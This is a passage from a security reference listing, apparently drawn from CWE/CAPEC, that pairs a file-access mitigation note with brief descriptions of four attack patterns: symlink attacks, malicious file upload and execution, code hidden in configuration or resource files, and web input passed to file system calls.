- Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack
An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.